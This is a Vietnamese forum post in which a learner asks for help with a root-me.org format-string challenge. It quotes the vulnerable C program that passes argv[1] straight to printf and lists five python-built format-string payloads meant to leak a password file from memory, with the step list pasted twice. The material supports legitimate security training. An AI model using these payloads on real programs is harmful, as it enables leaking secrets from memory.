ELF x86: format string basic 1
mình làm bài trong root-me.org phần : format string basic 1 thì gặp lỗi không lấy được pass.
Không hiểu thiếu hay sai bước nào? Ai giúp mình tìm lỗi sai với!!!
Thanks!!!
B1: Tìm địa chỉ biến buffer trong gdb: 0xb7fd0ed8
B2: quét stack: ./ch5 `python -c "print 'AAAA'+'%08x.'*138"`
B3: Thay địa chỉ buffer cho AAAA: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*138"`
B4 Căn để đọc được chuỗi đầu tiên: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*134+'%x%x'"`
B5: chuyển %x thành %s để đọc: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*134+'%x%s'"`
Và kết quả không hiển gì cả!!!
Không hiểu thiếu hay sai bước nào? Ai giúp mình tìm lỗi sai với!!!
Thanks!!!
- #include <stdio.h>
- #include <unistd.h>
- int main(int argc, char *argv[]){
- FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
- char buffer[32];
- fgets(buffer, sizeof(buffer), secret);
- printf(argv[1]);
- fclose(secret);
- return 0;
- }
B1: Tìm địa chỉ biến buffer trong gdb: 0xb7fd0ed8
B2: quét stack: ./ch5 `python -c "print 'AAAA'+'%08x.'*138"`
B3: Thay địa chỉ buffer cho AAAA: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*138"`
B4 Căn để đọc được chuỗi đầu tiên: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*134+'%x%x'"`
B5: chuyển %x thành %s để đọc: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*134+'%x%s'"`
Và kết quả không hiển gì cả!!!